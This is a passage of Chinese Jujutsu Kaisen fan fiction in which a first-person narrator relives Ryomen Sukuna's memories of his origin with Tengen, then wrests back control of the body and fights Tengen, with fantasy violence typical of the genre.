直到力竭,两面宿傩才终于爬上了母亲的腹部,和天元将额头顶在了一起。 “啊啊啊啊啊啊——!” 刺耳的尖叫声划破了云霄,“快、快来人啊!” 两面宿傩的记忆视角没有转动,此时的他并不能理解任何声音,就更别提什么语言能力了。 他只是专注地看着天元,互相交融的咒力安抚着彼此。 但很快,一股强烈的拉扯感便从体内传来。 某种无形的东西将咒力全部压缩到了身体最深处,一道道锁链将这股爆发式的力量封锁了起来,甚至连灵魂和身体都有了间隔。 失去了后续力量的支撑,两面宿傩的眼皮很快便支撑不住。 视野逐渐被黑暗所封闭,唯有声音从四面八方传来。 “死了,产婆和香织都死了。” “太惨了、太惨了!” “连房子都变成了这样。” “不祥、不祥……” “是邪恶之子,连月不雨一定也是他们的过错。” “是啊是啊、自从香织有了孽种之后,几个月来再没有下过一滴雨!” “杀了他们,我们得杀了他们——” “平息神明的怒火,用他们的生命平息神明的怒火。” 这样的声音不断地重复着,可却没有任何人敢真的靠近,所有的声音都那么遥远,只是不断地彼此撺掇。 听到清脆的铃声响起,似乎有另外的人靠近了此地。 “神目大人、神目大人。”众人跪拜在地,寻求着一条出路,“还请救救我们,该如何处置香织一家?” 铃声掩盖着另一个声音,两面宿傩听得不甚清楚,我自然也便不知道这位“神目大人”究竟说了些什么。 只知道不多几时,便有人试探性地踏入了残破的房屋内。 一只手掐住了“我”的身体,将两面宿傩和天元相触的额头分开,还未完全丧失意识的宿傩调动着体内不可言状的力量,却被体内的束缚用力地绷在原地。 直到一股焦糊的味道伴随着赤热扑到了“我”脸上,我意识到,那个和虎杖母亲有着一样本名的女子已经和这座残屋一起,被付之一炬。 而宿傩自己和天元,则被丢入了那个承载了他们一切初始的木笼之中。 命运就在这一刻被正式开启了。 第50章 两面宿傩的记忆很长, 尤其是婴孩时期的记忆,时常显得非常混乱。 正如他自己所说——迷宫,这些记忆简直构筑了一个迷宫。 总是有很多人来来去去, 有恶毒的言语、用最可怕的声音环绕着木笼。 从一开始的懵懂到后来通达, 两面宿傩逐渐对自己和妹妹的位置有了认知。 难怪天元对花御的术式那样敏感,她对宿傩的了解远在我之上,有着这样一段记忆, 两面宿傩对囚困窘境的憎恶可想而知。 我把这些私人情绪抛开,在捋顺这些记忆之前,我很难真的离开两面宿傩的视角。 让我感到奇怪的地方是,两面宿傩记忆的源头——最初的最初, 那时的他身体当中天然就蕴含着强大的力量。 甚至不只是他, 还有天元。 能在无意识中将房屋冲碎、将房间内的人杀得那么彻底,这股力量绝对不弱。 怎么在成长中,反倒弱了下来? 一开始,我只以为那只是身体的自我防御机制。 就像一般的咒术师也不会过早觉醒术式一样,这是为了保护自己的身体和咒术回路。 但随着时间流逝, 我发现情况和我预想的大相径庭。 即使过了青春期, 他们的术式依然没有觉醒的意图。 甚至不仅仅是术式,连咒力也是一样。如果我不是亲眼见证了他们最初的爆发、如果不是我知道天元和宿傩的未来, 我都不会相信这两个孩子身上存在着咒术师的可能。 他们偶尔溢出的那一点点咒力, 和无法控制自身情绪产出诅咒的普通人并无二致。 甚至连那神龛中毫无特殊封印可言的木笼都无法打开。 而另一边,那位“尊敬”的“神目大人”——比起咒术师, 他更像是个招摇撞骗的普通人。 他仿佛只是恰巧路过这里, 恰巧遇到了天元和宿傩的诞生, 又恰巧地做出了一些意义不明的灾难之言, 接着便自然地成为了整片村落的座上宾。 说来更加恰巧的是, 当宿傩和天元被神龛“镇压”之后,甘霖随之而来,更加坐实了这二人的灾星之名。 太过刻意,反而让人觉得诡异。 而且……那时候的束缚感,那种将一切力量都压缩到丹田的束缚感觉—— 若这种感觉不是身体的自我保护机制的话,那又会是什么? 总不能,是“天”先将其束缚了起来吧? 我好像在此之中窥探到了什么不该知道的东西。 记忆在木笼之中延长,从婴孩到儿童再到少年,连接着被埋入土的记忆。我终于看到了,他们二人那「天与咒缚」的由来。 在极度的窒息和绝望之中,天元和宿傩的手在潮湿的泥土中拉合。 他们求生的欲望和对世界的痛恨在此刻完全重合,一种愿意为了复仇付出一切的意志触动了身体深处的封印。 对,那个将咒力束缚起来的东西,是一种我从未见过的封印。 而解封的方式,就是交换命运的自主,成为世界的砖石。 力量解锁,那被积存了不知多久的仇恨、恐惧和幽怨搅和在一起,酝酿出了让我都为之心惊的咒力量。 迸发之际,不仅将埋着木笼的土全部冲开,甚至连大地都被震裂,浓郁到几乎成为诅咒的咒力迅速席卷了整个村落,连绵的山头被推平,别说是人,就连草都没有在这股力量中生存下来。 这就是……「天与咒缚」。 用自己的一切和“天”换取的力量。 但同时,这股前所未有的浓的力量也造成了一定的时空扭曲,导致村落原址就这样和外界隔绝了起来。 外人进不来,宿傩和天元也出不去。 有点像是RPG游戏,新手指导没有结束,任何地图都无法展开。 这种限制或许有一定道理,毕竟两面宿傩满心怨恨,他恨不得杀死一切能够看到的生物,甚至想要拉着世界同归于尽。 和他相比,反倒是妹妹的天元更快地冷静了下来。 日月在这个扭曲的结界里晦暗不明,仿佛脱离了正常规律。 两面宿傩一开始极为狂躁,说到底,这个结界和木笼又有什么差别? 不过是一个大一个小,但他们无疑都是一种囚笼。 我不禁想,即使再到后来,那个让两面宿傩意识持续存在的生得领域,实际上也是一种囚笼。 他的一生都在囚笼中度过。 可时间久了,两面宿傩情绪也逐渐平复下来,他开始尝试控制自己的力量。 也就是这个时候,我在两面宿傩的训练记忆里发现——或许是因为他那些负面情绪的强烈,从最一开始,他的咒力就不如天元那样纯粹。 咒力之中,永远混杂着一些浓黑的诅咒。仇恨如附骨之疽,深印在他身体的每一个角落,具象化的咒纹更是让人只看着便心生恐惧。 天元就不一样了,她的咒力非常纯净。她不断尝试着让自己的咒力介入困住他们的结界之中、尝试着让自己的力量和结界融为一体。 一开始,她只是尝试模仿结界、尝试影响结界,这确实让他们的生活环境变好了许多,被大火席卷过的大地开始蜕变,被移平的山头重新堆砌起来,泥土中长出新芽,并且在风的吹拂下以不正常的速度生长着。 薨星宫那四季如春的景象初露端倪。 后来,她对结界的掌握便越来越熟,直到有一天,一个误入的旅人经过他们的屋舍。 很难判断这一天距离最初,究竟过去了多久。 天元和宿傩两人在咒力的滋养下,几乎从未衰老。 结界外的世界一如既往的贫瘠,无法预知的天灾降临人间,在农业社会,干旱永远是最可怕的事情。 这里的四季如春逐渐吸引了更多人。 出入的生命体多了,两面宿傩便发现,这个困住他们的结界开始更快的衰弱。 就像是被新生的“人气儿”撼动了地基一样。 于是,两面宿傩开始有意识地在这些可以离开的旅人身上种下“种子”——很难说清那到底算是咒力种子,还是诅咒种子,又或者是一种混合体。 就结果而言,这些种子跟随在人类的血脉里,甚至会随着交|合、繁衍而扩散。正是这些种子,让特殊的力量在人们的负面情绪中孕育。 我越来越觉得,这就是人类会产生诅咒的最初起点。 我越来越觉得,这兄妹二人,就是一切咒力和诅咒的开端。 他们的诞生就带着强烈的玄幻色彩,那一闪而过的力量成为了后来一切悲剧的源头。 是谁造就了他们的力量,是谁制造了那样的束缚。 我思来想去,都只能找到一个答案。 是“天”? 是“命运”? 这个世界的核心在于漫画起始的未来,那世界意识的目的就是要确保世界运转一定能够达到未来的终点。 祂才是一切的源头! 我第一次感觉到了宿命的绝对可怕。 兄妹二人的遭遇没有任何称得上因果的开头,只是因为,必须要有人创造出那个既定的“未来”。 我的心情惶惶,更加专心地观察记忆中的细节。 此时或许还没有真正地产生咒灵,但这些不平衡的力量却足以改变环境结构,让四时混乱、让气温升高、让雨水减少。 随之而来的,自然就是干旱、蝗灾——天灾人祸之下,这个如囚笼一般结界的门槛几被踏破。 负面的环境制造了负面的情绪,而这些力量终究随着旅人的到来,反噬回了制造一切的两面宿傩的身上。 我清晰地感觉到,他身上的咒力在异变,在一点点让人无法轻易觉察的异变——甚至连两面宿傩自己都没有觉察。 反倒是天元的眼神,时常变得很奇怪,像是带着无法理解的深意看着天空、看着宿傩。 终于有一天,囚禁着他们的结界不堪重负,将二人真正释放到了人间,也让命运将他们二人推到了他们应该所处的位置。 他们是轨道上的列车,这条路不是他们自己铺出来的。 50-60 第51章 我一直在想, 天元为什么那样“迂腐”,简直像是个强韧的卫道士,一心一意在保卫着命运的既定路径。 这条路真的是天元自己设想出来的吗? 我看未必。 比起决策者, 她更像一个执行者。 在两面宿傩的记忆中, 天元的修行状态总是很奇怪。她和无法无天的“我”完全是两个极端,力量越强反而越惶恐。 天元时常望着天,虽然只是沉默, 却不免有些奇怪。 两面宿傩的记忆流逝着,并非按照确切的时间顺序,有了完整的二十根手指之后,他的记忆没有被梳理出来, 反倒是最后一块拼图反而将前面的一切都撞碎了。 好在我也不是没有自己的办法。 我毕竟已经了解了这份记忆的大概脉络, 在这条脉络里,总有那么几个人是可以作为锚点。 尤其是,不论他的记忆如何变化,天元永远是他记忆中不可或缺的一部分。 看着天元锦衣罗裳,我就知道, 记忆行进到了记忆的后半部分。 “祭祀的工作已经准备就绪了, 兄长大人。明天……一定会一切顺利。” “那就好。明天之后,就让世人知道, 到底谁才是王。”“我”高高坐在粗壮的樱花枝木上, 远远看着不知是什么宫殿的顶尖,清脆的铃声随着微风在花下摇曳。 这是和两面宿傩坐在神龛内屠杀那一天一样的铃声。 我知道他们在说的祭祀是什么了。 也知道所谓的“顺利”是个什么光景了。 那是先前就在两面宿傩记忆中存在的东西。 ——「新尝祭」。 居高临下的视角里, 天元被头发遮挡的面孔不甚清晰。但隐约, 我能从她的声线里, 感觉到一丝低落和担忧。 “……兄长大人, 我们, 为什么非要这么做不可呢?”半晌,她终于还是按捺不住地开口,“明日的祭祀,虽由神官主持,但参加者毕竟多是不涉内情的百姓——他们并未求取咒力,若是——” “天元!”“我”的声音突然严厉起来,“都已经到了这一步,何必再说这样的话。只有无辜的血才能铸造最醇厚的力量,我们不是已经验证过这一点了吗?” 最醇厚的力量? 咒力吗? 不,咒力更多是由咒术师自己产生的。反倒是诅咒和诅咒孕育的咒灵,这两样东西才需要更多急变的情绪来生成。 无辜者的死亡能让诅咒的力量更加强烈。 提起这个话题,两面宿傩心生厌烦,“更何况,那些普通人都是愚民——当初将我们关在神龛里的时候,可曾想过我们的无辜!” “可——”天元的声音一紧,连气息都急促了起来,“若真如此,我们和他们,究竟有什么区别!” “何须有什么区别,一切不过都是选择而已,我们何时真正有过选择?”两面宿傩的情绪异常坚定,他的眼睛里,根本不存在第二条路。“我”心中的怨恨和愤怒从来就没有被那个结界困住的时间消解过半分。 我也被这种体内翻涌的情绪所感染,视线下垂之中,“我”看到天元似又张开了嘴,想要说什么似的。于是便马上厉声顶了回去,“不必多言!” 天元的呼吸一窒,瞪大的眼睛在这个瞬间显露出复杂的情绪。但紧接着,她紧绷的肩膀像是泄气了一样,松了下去。音调也迅速回落,情绪再没有多露半分,淡淡道:“是,兄长大人。” 两面宿傩这才满意。 可我看着她那死气沉沉、毫无光彩的眼神,心中却是不安。 马上,我就意识到了这种看似顺从的眼神的危险。 她显然是在这一刻,下定了某种决心。 我此时能在记忆中看到的东西,自然也是两面宿傩当年看到的。只可惜,那时的我并没有在意。 就是这份不在意,让天元做出了决定。 这样看,她仿佛真的非常正义。 至少,她的决心起始于两面宿傩对无辜者之血的渴望。 是因为“我”做错了,所以才导致了她的背叛吗? 不,“我”没错。 她究竟是为了无辜者,还是为了她已然触碰到的命运边缘。 我仍无法确信。 不过,不论是哪一种原因,从这个时间点往后,天元在这些记忆碎片之中就变得愈加神秘。 我整理着杂乱的时间线,重复地观察那些已经知道的信息。 就像先前手指记忆所展示的那样,两面宿傩在「新尝祭」上大开杀戒,那股充斥在空气中的血腥味里,蕴含着深刻的恐惧,在空气中注入了刺骨的寒冷。 但对于“我”来说,这种味道是香甜的。 这样的“邪力”已经完全脱离了“咒力”的范畴,成为一种诅咒。 这种力量被疯狂攫取——很快,在“我”体内的力量回路里,诅咒压过了咒力,成为了占绝对主导的力量。 甚至于,这股力量对宿傩的反向影响,让他的身体产生了跨越式的异变。 大概就是从这个时候开始,宿傩真正成为了“两面”宿傩。 在这种自我陶醉里,我看到了远处踩在血水中的天元。她对着满地的残肢断臂并无多大的情绪起伏,但抬眼看到两面宿傩身体状态的时候,她瞳孔一缩,微蹙的眉毛间写满了忧愁。 我深刻地感觉到,天元自始至终都不是在为无辜者的鲜血而担忧,而是因为两面宿傩的变化。 她闭上眼,透明的结界沿着她头顶的天空播撒,将「新尝祭」的现场和外界隔绝了起来。 ——我猜,这一定就是「帐」的起始。 也是后来,天元将「帐」这种东西推广到整片国土的原因。 因为很快,我就见证了这种力量对咒术师和咒灵成长的催化作用。 「帐」成型的瞬间,飘逸无定处的诅咒马上便被囚困在了原地,就像是浓烟无处消散一样。 原本会被自然消磨掉的力量回拢,完全成了一种养料。 “我”投去赞许的眼神,有这样的结界在,能吸收到的诅咒无疑更加浓郁。身体异变也随之加速,整个力量体系都发生了本质变化。 诅咒在“我”的体内太过强盛,以至于清洗掉了一切咒力残余,让整个身体产生的力量变成了诅咒。 “我”体内产生的不再是咒力,而成了诅咒,尚不纯粹的诅咒。 如果要划分一个两面宿傩由人变成咒灵的时间点,那就是现在了。 诅咒在“我”的体内肆虐,反向影响了我的情绪,将原本就存在的愤怒和暴戾催化到了极致。 是“我”还是我。 我已经开始分不清了。 很快,我的第二对胳膊完全长了出来,半敞的衣衫下,一张嘴从腹部裂开。 在于记忆同步的感知里,这种腹部裂开的感觉也尤为微妙。 甚至,或许是因为这是第一次出现这样的“腹嘴”,我对它的掌控并不自如,导致那里的牙齿时不时就会咬到自己的腹肉上,带起一阵阵刺痛。 但这种疼痛反而更加强烈地刺激了宿傩的神经,让他在吸收诅咒的同时,也在朝周围释放着什么奇怪的东西。 究竟是什么奇怪的东西? 周围的环境很快就给出了答案。 血水蛄蛹着,一只枯骨之手突然剥开血肉冲了出来,指节突破了血肉的限制,如野草一般疯狂生长着。它完全没有骨骼所有者的人类形态,但它的骨缝中却长出了细小的裂口。 记忆中存在的主体兴趣,让我也能更好地注视着一切。 裂口中密集地排布着骨牙,不知哪里来的发声系统让它的骨躯发出了尖锐爆鸣。 ——咒灵。 我的脑子里无端冒出了这个词。 我身上散发的某种东西催发了诅咒的自发聚集。有了一种力量核心,诅咒便有机会脱胎换骨。 咒灵,就是这样诞生的。 远处的天元注视着一切,对这些,她仿佛早有所料。 她的步伐在血水中荡开涟漪,咒力伴随着她的行动自主净化着无形的诅咒。她一挥手,一道咒力切开了刚刚成型的咒灵——以我的经验判断,那咒灵也就是二三级的样子,着实不难祓除。 “杀了它做什么,这东西不是很有趣吗?”难得心情极佳,我便揶揄了一句。同时,我也有意识地释放出了这种特殊的信号。 有了我力量的鼓励,更多不同种类的咒灵在已经死亡的血肉中诞生。 咒灵诞生所依托的情绪精准地被我所捕捉,“这些小东西,越是极端,就越容易诞生。” 天元听着这话仿佛是受到了什么启示,喃喃自语地重复了一次,“越是极端,就越容易诞生的……” 我脑子一转,仿佛在这段记忆里钻入了天元的大脑一样,很快get到了她重复这话的意图。 记忆的此时,我的诅咒并不纯粹,想要让我转化得更加彻底,甚至完全脱离人体束缚成为咒灵,自然也就需要极端的情况。 强大如我,究竟什么才能算是极端? 身体的极端的是死亡,那情绪的极端呢—— 背叛,只有天元的背叛能带给我最大的打击。 记忆中尚且不知未来的我,似乎也感觉到了妹妹的情绪异常,“你说什么?” “啊……没什么,”天元马上就调整了过来,轻笑着摇摇头,“我只是想,这种东西从咒力中诞生出了灵智,不如就叫咒灵?” 明明是从诅咒中诞生的咒灵。 我眼睛一转,才回过神来。 天元和我拥有的,都是最初的原始力量。在此时的我们眼里,恐怕还没有所谓的“诅咒”与“咒力”之分。 “不错,是有点灵智。”我点点头,认同了天元的取名方式。 周围的咒灵级别并不高,他们虽然产生的时间很早,但所聚集的人类意志却不多——不像后来的漏瑚、真人和花御,他们诞生于人类集体意志的恐惧,所以出生就是特级。 这个时候的诅咒产量太小,这些没有太多自主意志的咒灵只是在本能地彼此吞噬和嘶吼。 无意义的声音吵得我脑仁疼,记忆中的我很快感到了厌烦。只一挥手,就将这些小咒灵尽数碾压。 “恭喜兄长大人的力量再上一层,小妹已经完全不是对手了。”天元的眼力极强,只看我碾压咒灵的速度就能感觉到他二人之间的力量鸿沟。 我对这样的奉承也很是受用。 “你也只在我之下,旁人也不是你的对手。” 天元的笑意不达眼底。我知道,已经决定了要背刺我的她,正是需要解决这个“一人之下”的问题。 “兄长大人,小妹还有一事要禀报。”她不是单纯来这里观察我的,绕了几圈,总算是说起了正事。 那时的我仍在梳理身体内庞大的力量,半合着眼眸,懒洋洋地开口,“说。” “跟着兄长大人返回的淳司,前日旧伤复发,不治身亡。” 她平淡地诉说着另一人的死亡。 加茂淳司,我记得这个名字。 他是御三家那三族原始家臣里,对我更为忠心的那个。 漫长的记忆里,他也算是跟着我南征北战、时间最长的人。他跟着我一起,将咒力运用在战争中,给不少军|政|高|官留下了深刻印象。 回到京都后,我也让这人听从了天元的统一调配。 天元的指挥下,这才没过多久,加茂淳司就死了。 大概不是什么旧伤复发吧。 天元自己的力量在我之下,想要背刺我,就离不了外力的帮助。 御三家的三种术式是最好的选择。 我想,以加茂淳司对两面宿傩的忠心一定不肯。为了确保秘密不泄露,天元亲自动手了。 只是这个借口实在拙劣。 上一段在王宫大殿中的记忆里,加茂淳司可一点不像是有旧伤的样子。 果然,即使是那时记忆中的我也是眉毛一挑,仍有疑虑“旧伤复发?” 天元不紧不慢,没有直接回答,而是旁敲侧击,“想来,是他没有福气承受兄长大人的力量。” 她这样一说,我便了然,没有多追究,“他跟我时间最长,我分给他的力量太多了,没想到他也是个花架子,这种直接的增强都承受不住。” 我好像回忆起了什么。 天元和我的咒力是通过「天与咒缚」获得的,那其他的咒术师们呢? 那三人——加茂淳司、禅院英辉还有菅原道真是怎么成为我们俩的家臣的来着? 对了,是我和天元将咒力分给了他们,让他们拥有了最初成为咒术师的可能。 这种“分发咒力”的方式,甚至可以持续起效,以至于其成为一种直接的增强——完全就是咒灵们吞噬我的手指咒物后变强的模式。 我的身体即使死亡,也记录下了这种变强的方式来刺激其他咒灵。 我太清楚追求力量之路的感觉了,只有这种效果,才能最大程度的勾引咒灵将我的手指吞到一处。 只有手指的融合,才能让我真正复活。 当然,力量这种东西不是谁都能承受的。 加茂淳司不就被撑爆了吗。 但我猜,撑爆他的不是我的力量,而是天元的力量。 太可恶了,为了她竟然那么早就想好了背叛的每一个步骤。 可恶、可恨。 “不过兄长大人请放心,我看淳司那一脉下,有个叫浩二的孩子天赋很好,他的上限想必要比淳司还高。” 此时的天元,已经在给加茂浩二铺路了——那个后来用「赤血操术」限制了我体内血液和诅咒流动的男孩,“明日,我便亲自带人来给兄长大人掌眼。” “好,我相信你的眼光。”我和天元很不同,我并不常玩弄权势,只一门心思扑在了对力量那几近病态的追求上,“希望他能接替淳司的位置,这个时候可千万不能出错。” “一切尽在掌握,我们会建立起咒力核心的王城天下。” 这应该就是未来那咒术界体系的由来。 只不过,天元没有按照我们二人最初的意愿,让整个世界都匍匐在他们脚下,而是将咒术界和普通人的世界完全隔绝开来。 没有来的,我感到一股新生的愤怒。 一种受人背叛的心情充斥在大脑。 甚至,这种背叛比天元杀死我时的背叛,还要让我恼怒。 如果不是天元将咒术界封闭起来,这个世界早就成了咒术师的天下。没有力量的普通人就该如奴仆一样跪咒术师脚下,祈求庇护! 只有羂索真正继承了这种的意志。 两面宿傩的意志。 “我”的意志。 我的意志。 那羂索为什么没有成功呢? 是我……我把他丢出了这个世界。 嘶——! 一阵强烈的头痛拉扯着我的神经。 视角画面在我面前破碎,记忆碎片逆流而上,像一股龙卷风似的将我包裹起来。 我捂着头,不同的声音在我的大脑中来回拉扯。 不对,不对。 羂索的意志不是我的意志。 他是两面宿傩大脑的化身。 不是我。 不是我! 狂躁的记忆碎片一滞,紧接着疯狂冲向了我,每一个碎片穿过我身体的瞬间,都会将时间拉得无限长、让我的大脑重温一次这个碎片所代表的记忆画面。 我下意识地重新拼装这些记忆,一次又一次地在第一人称的视角里体验那段漫长的人生。 大脑的刺痛在这些被无限拉长的时间里缓和下来,对安逸体感的本能追求让我忍不住想要在这些记忆碎片中,沉溺停留。 我紧皱的眉毛逐渐松开…… 突然,一股浓烈的反胃感袭击了我。 “呕——!” 我跪在地上,不断地干呕,直到吐出了一块金属徽章。 “叮铃!” 金属落地的清脆声音将我的视线吸引了过去。 这是……手指。 金属的手指,金属的……谷子? 我瞪大眼睛,它就像是一把无往不利的刀刃,在我的大脑中强行划了一条不能泯灭的线索。 艹! 艹艹艹! 背刺我的角度这么刁钻? 我明明已经通过对伏黑甚尔脱马甲的方式,来确保自己的人设不会局限于这个世界,怎么还会有这种被同化的危险? 难道是伏黑甚尔GG了? 不对,就算他G了,他留下的意识也不会如此轻易地消失。 我在两面宿傩记忆中度过的时间,应该没有和外界完全同步……吧? 否则,那岂不是过去了几个世纪? 我的大脑快速思考着。 将我同化成两面宿傩记忆的一部分,是两面宿傩自己的计划,他想要用自己庞杂的记忆迷宫将我永远困在这里。 只有我的意识受困,他才能掌握我作为他的受肉。 这不是世界意识的背刺,至少不完全是。 虽然被称为“意识”,但祂实际上是一种规则。我已经利用伏黑甚尔绕开了这种规则,所以,祂便只能见缝插针,在两面宿傩的意识中推波助澜。 祂确实也对完全固化的宿命轮回感到不满,尝试推动羂索来终结这种“宿命”。 但,祂所突破的“宿命”和我想要终结的“命运”并不是一回事。 我想要做的事、我想终结的“命运”,无疑也会杀死祂本身。 祂在自救。 我应该预料到的——祂的反抗。 似乎察觉到了我意识的回笼,大脑的刺痛更加强烈,这些记忆碎片对疼痛的缓解效果也更加明显。 世界意识已经不再藏头露尾,而是站到了台前和我打对弈。 只是疼痛就像让我退缩? 未免也太小看我了。 我鼓起诅咒在掌心造了一把匕首,不长,但绝对锋利。 反手持刀,我直接将它狠狠插入了我自己的大脑之中。 颅骨的坚硬程度远超大部分人的想象,固体的传声也比空气要清晰得多。 匕首截断骨头的“咔嚓”声响在颅内回荡着,异常瘆人。 任何人对头骨碎裂的恐惧都是本能的。 我也不例外。 而在这种时候,越是恐惧,我也就越清醒。 我确实是接替了羂索的位置,成为了这个世界格局中的一个“反派”。 但,我绝对不愿意接替羂索的身份,真正成为两面宿傩完整身体的一部分。 我,不是他的大脑。 我不属于两面宿傩! 受到损害的大脑在短时间内丧失了复杂思考的能力。 那些记忆想要用不断重复的方式让我的潜意识认同这种第一视角,将“我”变成我。 但,损坏的大脑无法理清楚混乱的记忆碎片的逻辑,甚至,我的脑子在这一刻连记录的功能都丧失了。 记忆碎片失去了效果,但我唯一的意志却轴起来,一根筋地要完成我唯一需要做的事。 我将我的一切,交给自己的本能。 我相信,不论穿越到哪个世界,我永远都只会眷恋一个地方。 我有最暖的家人。 我有最好的朋友。 我得回去。 我必须得回去! 唯一本能无视了一切阻挡的记忆,丧失逻辑的画面如同一本没有意义的画册,我弃之如敝履。 那广阔的视野收缩,黑暗离开了我的瞳孔,湿润的呼吸重新降临。 目之所视、耳之所闻、鼻之所嗅、舌之所尝——一切感知,都脱离了对记忆的咀嚼,变得真实起来。 这终究是我的身体。 意识的挤压之中,我将两面宿傩踢回了生得领域。 但意识交接的错位,还是让激战中的身体恍惚停滞了一瞬。 在绝对势均力敌的战斗中,任何一个晃神的后果都是致命的。 眼前的景色清晰起来,我睁眼所见的第一个画面,就是天元那决绝的眼神,和刺向我胸口的那把长剑。 第52章 那个金属谷子, 是我最后一道屏障。 我原本是想用它来抵抗天元带来的潜在威胁,没想到,却在另一个地方派上了用场。 但它绝对功不可没。 即使, 在和两面宿傩争夺身体主权结尾不可避免地晃神, 给了天元机会。 她的剑似乎不是普通的咒具,剑尖直接切断了诅咒防御,甚至没有被拖慢一点速度。太快了, 我甚至来不及反应——别说是躲避,就是错开要害的机会都没有,我只能硬生生用胸口接了这一剑。 别说是我,就是出招的天元都没有想到, 这一剑竟然真的能穿透我的心脏。 或者说, 她没有想到自己能如此轻易地击溃两面宿傩的防御和闪避。 这一惊之下,反倒是给她自己创造出了个破绽。 我抓住机会,一掌击穿了剑中——“铛”的一声,剑身剧烈地震动,被它穿透的胸口也因为这种搅动而喷出更多鲜血。 刺痛顺着伤口蔓延至全身。 天元的剑完全是由咒力组成, 这就导致震动中逸散的咒力沿着我断开的血管反入到了身体之中。 不仅仅是咒力, 还有另一种血液。 我能清晰地感知到自己身体的排异反应。 「赤血操术」——天元即使一时震惊,也绝不会放过这个机会。 她曾经利用御三家的术式打败过两面宿傩, 自然知道这三种术式对两面宿傩的控制效果。 即使不完全复刻, 也丝毫不妨碍她对术式的使用。 毕竟,已经过去千年时间, 天元早就不是那个咒力量屈居于两面宿傩之下的咒术师了。 我完全不被疼痛所影响, 手掌重复地击打在咒具中段。 “咔嚓”—— 我比天元更舍得释放诅咒, 她一门心思将力量抽调到了「赤血操术」上。这就给了我用双倍于她咒力的诅咒击碎那把剑的机会。 等到她想要重新填补咒力的时候, 已经迟了。 剑身碎成了两截, 我体内的咒力突然就断了后继之力。我反手一把抽出剑尖,诅咒之力瞬间侵蚀替代了剑尖内的力量。 “叮!” 断成两截的剑撞在一起,我和天元分别拿着一半,招数的比拼瞬间转化为力量的对抗。 她眼睛中红光一闪,加茂一族的术式驱动到极致。 可我却不如她所想的那样,被体内的术式困住诅咒运转,动作毫无滞涩,“你应该比我更清楚,提前被催化抽出来的术式,和你当年用的那些,是不能比的。” 我体内早就准备好的诅咒围追堵截,将「赤血操术」困在了胸口——重掌握身体主权的那一瞬间,我就已经意识到天元攻击的避无可避。 有预料,自然也就不会真的毫无准备。 没有一点犹豫,我直接将自己的心脏掏了出来。 “咚、咚——” 还在跳动的脏器就这样赤|裸|裸地躺在我的掌心,「赤血操术」清晰地印刻在心脏表面,像是被血色藤蔓紧紧包裹。 沿着这个生命核心,「赤血操术」就能轻易地进入我身体的任意一个角落。 脚下被掀开的土地里隐藏着黑色的影子,朦胧的夜色成了最佳的掩饰。这些并未在本体中被孕育完整的术式气息更加微弱。实战中,这种“弱小”反而成为了一种优势。 但,裸|露在外的心脏,也着实拓宽了我的感知——作为我的生命核心之一,心脏对空气的直接接触,让影子无处遁形。 不过,被敌人所控制的器官,是不能再放回身体之中的了。 我用剑尖顶退了天元的同时,丢开心脏。 被「赤血操术」所包裹的脏器砸到了影子的头顶,我弹射起步,向后一翻,轻松躲开了一排影刺。 天空月影之下,一只雄鹰从天而降,带着黑色的落雷直追而来。 这不是雄鹰,是式神「鵺」。 术式的发动完全没有间隙,一大堆「脱兔」扑到了面前——它们并不强,但作为一种式神,想要杀死它们就势必要攻击到每一个个体。 我也不节省力量,诅咒成刀如雨,明招暗招,全部都被我斩落。 ——本来应该是这样的。 但,攻击停滞在了式神之前,就像是被一把无形的“雨伞”阻拦在外,又像是被时停了一般,速度无限减缓。 “「无下限」术式。” 我第一时间就反应过来,天元在术式配合上的造诣远超想象,她那庞大的精神力和集中力,竟然能够让「十种影法术」和「无下限」两种术式无缝融合。 第一次使用就能如此流畅,可想而知她平日里到底模拟过多少次。 「脱兔」本身确实不强,但有了「无下限」的保护,这个东西就太烦人了。 密集的「脱兔」之中,绿光猛然一刺,直扑我门面而来。 是式神「蟾蜍」! 它那拉长的舌头上,还带着一层黏液。 「蟾蜍」的速度不慢,但我若是想要捕捉他的话,其实并没有多难。 关键在于,我实在不想用自己的手去碰那条舌头。 而且,「脱兔」显然是用来佯攻的,难道佯攻之下就只用一个「蟾蜍」来终结战斗吗? 我可不信。 我甩出残缺的剑尖,将蟾蜍的舌头钉在了地面,紧接着还不等我退开,巨大的影子就将微弱的月光遮得严严实实。 「满相」被「鵺」的雷电裹挟着,从天而降,完全被当作一块巨大的陨石砸向了我,地面是已经张嘴等待的「大蛇」,前后左右其他四个方向也分别等着各类不曾出现在伏黑惠未来的式神。 似虎似猫,似犬似狼。 这就想要封死我的退路了? 我身上的咒纹一亮,毫无保留的诅咒以我为核心,直接炸开。 “歘!” 庞大的力量几乎在瞬间就将整个区域推出了真空,有「无下限」作为防御? 没关系,无限加速的力量碾压过去就是了。 天元不可能让每一个「无下限」的表现都和五条悟一样。而这种精密的术式分散在「脱兔」那样的数量上,势必要被削弱。 所有的影子都被我的术式碾了个干净,不论大小,式神都不拥有活下去的机会。 被式神所遮挡的天元终于重新露出了面貌。 她并不着急。 我知道,「十种影法术」的精髓不在于式神之多。相反,死亡式神的力量会被其他式神所继承。 也即是——式神越少,术式越强。 尤其是被诅咒杀死的式神,咒力反扑很容易拉满。 我这一招,几乎是帮天元的实力再进一步。 这也是她的阳谋。 可,我总不能真的把精力耗费给这些小式神。 汇聚在一起也好,更好杀。 影子在地面铺开,一个巨大的身体从中爬出。这些影子随着巨物的出现快速收缩,仿佛将力量全部聚拢到了巨物身上。 式神的力量皆聚于一体。 ——这是「八握剑异戒神将魔虚罗」! 我尝试调动领域,但在我清醒之前,两面宿傩和天元显然就已经进行过领域对抗——这种对抗甚至一直没有结束,只是肉眼可见的激烈对抗转化成了暗流涌动的拉扯。 相互牵制的咒力和诅咒在这个距离的空间里,让哪一方也无法释放出完整的领域。 天元站在「魔虚罗」的肩膀上看着我,如此节奏的战斗中,她大概还没有发现我和两面宿傩的二次置换。 我都能想到,她若是知道了该得是何种表情。 “兄长大人,”她用忧愁的眼神看着我,“何苦执着,其实你也知道,命运已经帮我们准备好了路。无论如何选择,我们总要被推上这条路的。” 果然,天元很早就意识到了这一点。 她在两面宿傩死前说的那所谓“没有选择”,就是字面意义上的没有第二条路可走。 “我们必然要为这个世界带来力量起源,我们也必须要让力量之正反形成平衡。兄长大人,只有我的背叛和你的□□死亡,才能让你完全转化成诅咒的化身;而我,也必须舍弃自己的身体和人欲,才能成为咒力的化身——只有这样,我们才能一起活下去。” 关键词:平衡。 天元在无数的绝路中,找到了唯一一种能够保证平衡的方式。 而生存,天元自己和两面宿傩的共同生存——这才是她所有行为的动机。 